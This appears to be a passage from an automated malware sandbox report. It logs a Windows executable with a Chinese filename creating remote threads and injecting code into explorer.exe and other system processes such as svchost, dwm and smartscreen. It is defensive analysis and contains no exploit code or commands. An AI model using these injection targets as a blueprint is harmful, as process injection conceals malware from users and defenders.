Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: FE0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: FF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 29A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 29B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: C90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: CE0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 21D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2220000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2AD0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2B20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2D40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2D90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2C40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2C90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2A80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2BD0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1480000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 3230000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: E70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: E80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 890000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 21C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2E00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2E50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2540000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2690000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2CE0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2CF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2BF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2C40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 28C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2910000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 21E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2230000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: ED0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: F20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2AB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2B00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: B20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: B30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2110000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2160000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2AD0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2C20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 810000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 820000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2A60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2A70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1200000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1210000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: F50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: F60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 23B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2400000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: B80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: B90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 7D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 7E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2EC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2F10000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1150000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1160000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: D50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: D60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 25E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2640000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2D40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2D50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2B10000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2C60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 11E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 11F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 11D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 11E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 670000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 680000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 810000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 820000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 14A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 14B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: E60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: E70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 8B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 8C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 860000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 870000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 24A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 24F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 9B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: A00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: AF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: B00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: B00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: B10000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: D20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: D30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1260000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1270000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: FB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: FC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: E50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: E60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 12A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 12B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2080000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2090000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2F00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2F50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2A20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2A30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2570000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2580000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 12D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1320000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 28A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 28B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1160000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1170000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 9D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 9E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: AB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: AC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2210000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2220000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: F80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: F90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2700000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2750000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 10B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 10C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: FA0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: FB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: F20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: F70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: D40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: D50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1350000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 13A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 7B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 7C0000 Jump to behavior
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: PID: 3504 base: 7480000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: PID: 3504 base: 82C0000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: PID: 3504 base: AE40000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: PID: 3504 base: B170000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: PID: 3504 base: B230000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: PID: 3504 base: B780000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: PID: 3504 base: B790000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: PID: 3504 base: B7A0000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: PID: 3504 base: B7B0000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: PID: 3504 base: DD50000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: PID: 3504 base: DD60000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: PID: 3504 base: DD70000 value: E8 Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: F10000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: 190000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dwm.exe base: 660000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\sihost.exe base: D20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 3F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 8D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ctfmon.exe base: 7F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\explorer.exe base: 7480000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 2E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: A30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 620000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 160000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 980000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\smartscreen.exe base: 890000 Jump to behavior
